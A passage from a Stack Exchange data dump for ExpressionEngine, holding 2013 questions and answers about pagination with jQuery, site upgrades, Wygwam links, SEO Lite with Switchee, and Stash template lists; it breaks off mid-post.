  <row Id="6062" PostTypeId="2" ParentId="6059" CreationDate="2013-02-08T18:47:57.670" Score="0" Body="&lt;p&gt;You can do this with &lt;a href=&quot;http://api.jquery.com/load/&quot; rel=&quot;nofollow&quot;&gt;jQuery's .load()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an ExpressionEngine template/URL for your blog that supports pagination, the output of which is just the HTML of the entries with no outer HTML/DOM, you're just loading chunks of HTML in per &quot;page&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could increment a counter each time the user clicks the link, and multiply that by your offset for your pagination offets.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;click = 1;&#xA;pagination = click*10 = 10;&#xA;.load('/blog/more-entries/P'+pagination);&#xA;click++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would load the following URLs with each click:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/blog/more-entries/P10&#xA;/blog/more-entries/P20&#xA;/blog/more-entries/P30&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-08T19:01:28.407" LastActivityDate="2013-02-08T19:01:28.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6063" PostTypeId="1" CreationDate="2013-02-08T18:53:36.493" Score="1" ViewCount="117" Body="&lt;p&gt;I have a huge website which gets a lot of traffic so it can't be down for very long. The site is still running 1.6.7 (I know, shame on me!). I'd like to move it to a new directory on my server and take my time upgrading the back end before going live with it. Do I need to install 1.6.7 in this new directory and then upgrade from there? I've been putting this off for ages because frankly, I'm terrified of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, assuming it takes me a month to get the new site the way I want it (I'm redesigning as well), when I switch to the new site, all of the information that's been added to the live site in the meantime will be missing. Is there any way to prevent this other than doing double entries using the two different dashboards?&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-02-08T19:07:50.527" Title="Upgrading and moving a site at the same time" Tags="|ee1|upgrade|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6064" PostTypeId="2" ParentId="6063" CreationDate="2013-02-08T18:57:43.480" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I need to install 1.6.7 in this new directory and then upgrade from there? I've been putting this off for ages because frankly, I'm terrified of it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I haven't tackled any big upgrades, but I think you need to copy the current site and perform the upgrade on that, test everything, update add-ons, and probably update some code where things have changed. I'd recommend doing this in dev, as I &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5956/move-expressionengine-from-development-to-live-same-server/5971#5971&quot;&gt;outlined here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any way to prevent this other than doing double entries using the two different dashboards?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suspect so. There is no way to merge the two. Your options are probably to keep up with duplicate entry, or document everything you did, and reproduce those steps on a fresh copy of the live database prior to re-launch, swapping that database in for the live database.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-02-08T18:57:43.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6065" PostTypeId="2" ParentId="5131" CreationDate="2013-02-08T19:02:58.133" Score="2" Body="&lt;p&gt;What version of CT are you using? I can see in the admin that under settings/orders you can set the status under 'payment being processed'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there some way you can use that to hack a solution?&#xA;I haven't done it myself but it looks like there may be a way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is helpful!&lt;/p&gt;&#xA;" OwnerUserId="973" LastActivityDate="2013-02-08T19:02:58.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6066" PostTypeId="2" ParentId="6059" CreationDate="2013-02-08T19:04:30.783" Score="0" Body="&lt;p&gt;Maybe you could use this: Infinite Scroll &lt;a href=&quot;http://devot-ee.com/add-ons/infinite-scroll&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/infinite-scroll&lt;/a&gt;        &lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-02-08T19:04:30.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6067" PostTypeId="2" ParentId="6063" CreationDate="2013-02-08T19:07:50.527" Score="1" Body="&lt;p&gt;The way I do it is to copy everything, the files and I make a duplicate database for the dev site. Make sure you upgrade your database settings in the config file! Then I do the upgrades on the duplicate site while the live site remains in tact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done a couple of these EE1 to EE2 upgrades and they are tricky if you have 3rd party plugins involved. If you have structure installed, DO look at their instructions before you upgrade. You have a process to go through in EE1 before moving to EE2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please PLEASE PLEASE make sure that you have a backup.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know the live site content changes can not be updated to the new site, unless you copy them by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="973" LastActivityDate="2013-02-08T19:07:50.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6068" PostTypeId="1" AcceptedAnswerId="6069" CreationDate="2013-02-08T21:28:16.530" Score="0" ViewCount="308" Body="&lt;p&gt;I have a staging site running at a URL like client.clearbold.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using FocusLab's Config, so all my paths and domains are dynamic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I link text in a Wygwam field, and choose a Structure Page or a Structure Listing entry, the full URL, including &lt;a href=&quot;http://client.clearbold.com&quot; rel=&quot;nofollow&quot;&gt;http://client.clearbold.com&lt;/a&gt;, is stored in the Wygwam field's contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I keep this from happening? We'll end up with a site with 100s of links to a Staging subdomain instead of the live URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; I've confirmed this is fixed in 2.7. Surprised I haven't seen this before, though I'm wondering how many links were applied within content fields on previous projects.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-08T22:00:34.500" LastActivityDate="2017-05-25T16:23:24.723" Title="Linking to Structure Pages in Wygwam: How to not use full URL?" Tags="|structure|wygwam|links|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6069" PostTypeId="2" ParentId="6068" CreationDate="2013-02-08T21:33:59.557" Score="1" Body="&lt;p&gt;It's all handled auto-magically. As long as you don't create links in source mode, it'll work when you change the domain/address/environment as of Wygwam 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Also: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5416/dynamic-filepaths-to-assets-files-in-wygwam-fields&quot;&gt;Dynamic Filepaths to Assets Files in Wygwam Fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-02-08T22:04:29.557" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6070" PostTypeId="1" AcceptedAnswerId="6073" CreationDate="2013-02-08T22:00:24.070" Score="4" ViewCount="608" Body="&lt;p&gt;OK, so i've had a great deal of help on here on the rebuild of my site, and I'm onto the last part which is to make sure my pages meta, titles etc are working well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have switched (pun) a lot of my templates to using Switchee, and its been really great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have a few templates that have a global head embed, that inserts basically just the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;. Then the main structure of my page with Switchee controlling what content is shown within the main content area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have normally used SEO lite, and I like it, but I'm starting to think what the best way to use it with multiple content within a single template is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think it is best to run a conditional on the embed to determine what content is passed through with the embed to SEO Lite. Or to maybe include a different global head embed with each Switchee case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just trying to get my head around the best way to do it, without needlessly repeating things!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts appreciated, or if anyones utilised the two together, I'd be interested to hear what they think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, thanks for that tip. I've actually tried it just now, and I can see the benefits. However I am a bit unsure as to how to deal with a certain scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I have my 'news' index page. This consists of an instance of Switchee, that determines if it is the &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;default {latest articles) index page (domain.com/news) &lt;/li&gt;&#xA;&lt;li&gt;category page. {domain.com/news/category)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, my template is something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/_head&quot;}&#xA;&#xA;{lv_page title}&#xA;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&#xA; &amp;lt;div class=&quot;main-content&quot;&amp;gt;&#xA;&#xA;  {exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;  {case value=&quot;&quot; default=&quot;yes&quot;}&#xA;&#xA;  {exp:channel:entries channel=&quot;news&quot; status=&quot;open&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;    {lv_news_article_details}&#xA;&#xA;  {/exp:channel:entries}&#xA;&#xA;  {/case}&#xA;&#xA;  {case value=&quot;category&quot;}&#xA;&#xA;  {exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_3_category_id}&quot; status=&quot;open&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;    {lv_news_article_details}&#xA;&#xA;  {/exp:channel:entries}&#xA;&#xA;  {/case}&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;{lv_sidebar_news}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{lv_footer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's a very simplified version. Now my template shares the same global head embed, but I will want the Title to be &quot;Latest News&quot; for the first case, and &quot;Category News&quot; for the second case.&#xA;What would be the best way of passing that information to the embed, more conditionals?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-02-08T22:45:00.737" LastActivityDate="2013-09-13T14:54:45.123" Title="SEO Lite &amp; Switchee" Tags="|embeds|seo|switchee|seo-lite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6071" PostTypeId="1" AcceptedAnswerId="6074" CreationDate="2013-02-08T22:14:15.407" Score="0" ViewCount="1067" Body="&lt;p&gt;I'm setting up an xml page in which I need to have just the file name of an image from a file upload field. What I currently have is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;picture&amp;gt;&#xA;    {exp:xml_encode}{image}{/exp:xml_encode}&#xA;&amp;lt;/picture&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but what this results in is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;picture&amp;gt;&#xA;http://domain.com/uploads/images/11-january-006.jpg&#xA;&amp;lt;/picture&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When what I only need is 11-january-006.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas on the best approach for this?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-02-08T22:27:16.110" Title="How to get just the image file name from a file field?" Tags="|templates|file-uploads|xml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6072" PostTypeId="2" ParentId="6071" CreationDate="2013-02-08T22:17:29.880" Score="0" Body="&lt;p&gt;Does the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/file/file_tag.html#filename&quot; rel=&quot;nofollow&quot;&gt;filename variable&lt;/a&gt; not work for you?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{filename}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-02-08T22:17:29.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6073" PostTypeId="2" ParentId="6070" CreationDate="2013-02-08T22:19:34.830" Score="4" Body="&lt;p&gt;We use this code in our header embed; allows us to do something like &lt;code&gt;{embed=&quot;site/_header&quot; meta_title=&quot;Example Title&quot;}&lt;/code&gt;; alternatively we can specify an entry ID, and SEO Lite will figure out the correct info, or, we can just let it rely on the last segment, which works 95% of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that we're also using &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;Mark Croxton's IfElse add-on&lt;/a&gt; here to keep things nice and speedy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}&#xA;    {if &quot;{embed:meta_title}&quot;}&#xA;        {exp:seo_lite title_override=&quot;{embed:meta_title}&quot;  default_keywords=&quot;{embed:meta_keywords}&quot; default_description=&quot;{embed:meta_description}&quot;}&#xA;    {if:elseif &quot;{embed:entry_id}&quot;}&#xA;        {exp:seo_lite entry_id=&quot;{embed:entry_id}&quot;}&#xA;    {if:else}&#xA;        {exp:seo_lite use_last_segment=&quot;yes&quot;}&#xA;    {/if}   &#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2013-09-13T14:54:45.123" LastActivityDate="2013-09-13T14:54:45.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6074" PostTypeId="2" ParentId="6071" CreationDate="2013-02-08T22:27:16.110" Score="4" Body="&lt;p&gt;Use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/custom_fields.html#variable-pair-usage&quot; rel=&quot;nofollow&quot;&gt;file field tag pair&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image}{file_name}{/image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No add-on required!&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-08T22:27:16.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6076" PostTypeId="1" AcceptedAnswerId="6498" CreationDate="2013-02-09T00:22:11.557" Score="2" ViewCount="269" Body="&lt;p&gt;I've been using the Focus Labs bootstrap with great success for my last few projects. However just now I ran into a snag. I exported my production database, imported it locally, and now the site does not work and I get these errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined property: EE::$session&#xA;Filename: libraries/Functions.php&#xA;Line Number: 377&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Trying to get property of non-object&#xA;Filename: libraries/Functions.php&#xA;Line Number: 377&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at    /Users/User/Sites/example/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 402&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I turn off extensions in my config file things do work, sans extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did another export/import of the database to be sure, compared all my add on versions (all are the same), went back to my old local database (that works), and sync'd all my templates to the new production database. None of these fixed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turning off all extensions via the database (Sequel Pro) allowed me to isolate it to Force SSL and specifically the on_page_load method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least now I can work locally, but would like to get things running smoothly again. I've posted in the Devot-ee forums and will link back to here. &lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2013-02-11T19:03:43.743" LastActivityDate="2013-03-20T21:49:05.540" Title="Local site breaks with production database" Tags="|extension|bootstrap|php-errors|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6078" PostTypeId="2" ParentId="6019" CreationDate="2013-02-09T00:29:58.733" Score="1" Body="&lt;p&gt;Investigated this further as suggested by Justin Kimbrell above. As it turns out, embedded a template which allows php leads to the message (at least in the preview) being broken and the processing of the message cuts out as soon as any information is echoed etc using the embed. I am now developing a plugin which I will have to use to print out the relevant information.&lt;/p&gt;&#xA;" OwnerUserId="695" LastEditorUserId="695" LastEditDate="2013-02-09T15:26:55.303" LastActivityDate="2013-02-09T15:26:55.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6079" PostTypeId="2" ParentId="5189" CreationDate="2013-02-09T00:45:58.373" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;secure_action=&quot;yes&quot;&lt;/code&gt; and &lt;code&gt;secure_return=&quot;yes&quot;&lt;/code&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#secure-action&quot; rel=&quot;nofollow&quot;&gt;parameters from safecracker&lt;/a&gt; in the Zoo Visitor login form tag. There's a &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/6993&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor support post&lt;/a&gt; on Devot:ee. I've also tried this on my own Zoo Visitor login form and can confirm that it works.  &lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-02-09T01:11:07.120" LastActivityDate="2013-02-09T01:11:07.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6080" PostTypeId="1" CreationDate="2013-02-09T02:54:12.223" Score="4" ViewCount="862" Body="&lt;p&gt;EE 2.5.5&#xA;Stash 2.1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to stash and am in the middle of integrating EE into existing html code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I currently have is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;    {stash:content}&#xA;      {exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;15&quot; orderby=&quot;&quot; disable=&quot;member_data|pagination|categories&quot;} &#xA;&#xA;          {stash:title}&#xA;            &amp;lt;div {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;&#xA;              &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          {/stash:title}&#xA;&#xA;          {stash:photos}&#xA;            {photos}&#xA;            &amp;lt;img class=&quot;pg_thumb&quot; {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if} src=&quot;{image}&quot; width=&quot;1000&quot; height=&quot;714&quot; alt=&quot;&quot; /&amp;gt;&#xA;            {/photos}&#xA;          {/stash:photos}&#xA;&#xA;          {stash:description}&#xA;            &amp;lt;div {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;        &#xA;              {description}&#xA;              &amp;lt;a href=&quot;#&quot; class=&quot;more&quot;&amp;gt;Details&amp;lt;/a&amp;gt; &#xA;            &amp;lt;/div&amp;gt;&#xA;          {/stash:description}&#xA;&#xA;      {/exp:channel:entries}&#xA;    {/stash:content}&#xA;{/exp:stash:set}&#xA;&#xA;&#xA;    &amp;lt;div id=&quot;pg_preview&quot;&amp;gt;&#xA;      {exp:stash:get name=&quot;photos&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc1&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        {exp:stash:get name=&quot;title&quot;}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc2&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        {exp:stash:get name=&quot;description&quot;}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc2--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is sort of working. When I check the front end code I see only one result for each of the get tags when I'm actually expecting to see 15 as per the limit parameter of the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I just tried the following, but all it does is output about 30 blank lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;15&quot; orderby=&quot;&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;    {exp:stash:set_list name=&quot;photos-list&quot; parse_tags=&quot;yes&quot;}&#xA;          {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;          {stash:title}&#xA;            {title}&#xA;          {/stash:title}&#xA;&#xA;          {stash:photos}&#xA;            {photos}&#xA;            &amp;lt;img class=&quot;pg_thumb&quot; {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if} src=&quot;{image}&quot; width=&quot;1000&quot; height=&quot;714&quot; alt=&quot;&quot; /&amp;gt;&#xA;            {/photos}&#xA;          {/stash:photos}&#xA;&#xA;          {stash:description}&#xA;            {description}&#xA;          {/stash:description}&#xA;    {/exp:stash:set_list}   &#xA;{/exp:channel:entries} &#xA;&#xA;{exp:stash:get_list name=&quot;photos-list&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; limit=&quot;15&quot;}&#xA;    &amp;lt;div id=&quot;pg_preview&quot;&amp;gt;&#xA;      {photos}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc1&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;      &amp;lt;div {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc2&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        &amp;lt;div {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;        &#xA;          {description}&#xA;          &amp;lt;a href=&quot;#&quot; class=&quot;more&quot;&amp;gt;Details&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc2--&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;UPDATE 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I changed the code that was here just before reading dylans comment, which looks the same to me, but it isn't working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;photos-list&quot; parse_tags=&quot;yes&quot; output=&quot;no&quot;}&#xA;  {exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;5&quot; orderby=&quot;&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;&#xA;      {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;      {stash:title}&#xA;        {title}&#xA;      {/stash:title}&#xA;&#xA;      {stash:photos}&#xA;        {photos}&#xA;        &amp;lt;img class=&quot;pg_thumb&quot; {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if} src=&quot;{image}&quot; width=&quot;1000&quot; height=&quot;714&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;        {/photos}&#xA;      {/stash:photos}&#xA;&#xA;      {stash:description}&#xA;        {description}&#xA;      {/stash:description}&#xA;&#xA;  {/exp:channel:entries} &#xA;{/exp:stash:set_list} &#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;photos-list&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; limit=&quot;5&quot; output=&quot;yes&quot;}&#xA;    &amp;lt;div id=&quot;pg_preview&quot;&amp;gt;&#xA;      {photos}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc1&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;      &amp;lt;div {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc2&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        &amp;lt;div {if count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;        &#xA;          {description}&#xA;          &amp;lt;a href=&quot;#&quot; class=&quot;more&quot;&amp;gt;Details&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc2--&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;UPDATE 3&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Newly revised code below based on Nate's comment to his own answer. Not working as expected. I still only see one entry worth of data, but the image is now not the correct one. Have created a stripped down template with only the following code for testing purposes which can be viewed &lt;a href=&quot;http://dev.sean-smith.net/testing&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. That picture is from December but the copy is from Feb 8. Not sure why the photo is not pulling from the same entry as the copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--updated to stash 2.3.6 and multiple entries now working, but the same image is displaying for all of them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;photos-list&quot; parse_tags=&quot;yes&quot; output=&quot;no&quot; parse_depth=&quot;2&quot; parse_conditionals=&quot;yes&quot; prefix=&quot;prefix&quot;}&#xA;  {exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;5&quot; orderby=&quot;&quot; disable=&quot;member_data|pagination|categories&quot; dynamic=&quot;no&quot;}&#xA;&#xA;      {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;      {stash:title}&#xA;        {title}&#xA;      {/stash:title}&#xA;&#xA;&#xA;      {exp:stash:set_list:nested name=&quot;photos-image&quot; parse_tags=&quot;yes&quot; output=&quot;yes&quot; parse_conditionals=&quot;yes&quot; prefix=&quot;prefix&quot;}&#xA;        {stash:picture}&#xA;          {photos}&#xA;          &amp;lt;img class=&quot;pg_thumb&quot; {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if} src=&quot;{image}&quot; width=&quot;1000&quot; height=&quot;714&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;          {/photos}&#xA;        {/stash:picture}&#xA;      {/exp:stash:set_list:nested}    &#xA;&#xA;&#xA;      {stash:description}&#xA;        {description}&#xA;      {/stash:description}&#xA;&#xA;  {/exp:channel:entries} &#xA;{/exp:stash:set_list} &#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;photos-list&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; limit=&quot;5&quot; output=&quot;yes&quot; parse_conditionals=&quot;yes&quot; prefix=&quot;prefix&quot;}&#xA;&#xA;    &amp;lt;div id=&quot;pg_preview&quot;&amp;gt;&#xA;      {exp:stash:get_list:nested name=&quot;photos-image&quot;}&#xA;        {picture}&#xA;      {/exp:stash:get_list:nested}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc1&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;      &amp;lt;div {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc2&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        &amp;lt;div {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;        &#xA;          {description}&#xA;          &amp;lt;a href=&quot;#&quot; class=&quot;more&quot;&amp;gt;Details&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc2--&amp;gt;&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please advise. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE AGAIN&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Am very flummoxed with this. I have &lt;a href=&quot;http://pastie.org/6121560&quot; rel=&quot;nofollow&quot;&gt;pasted template code here&lt;/a&gt; that works perfectly, but is using 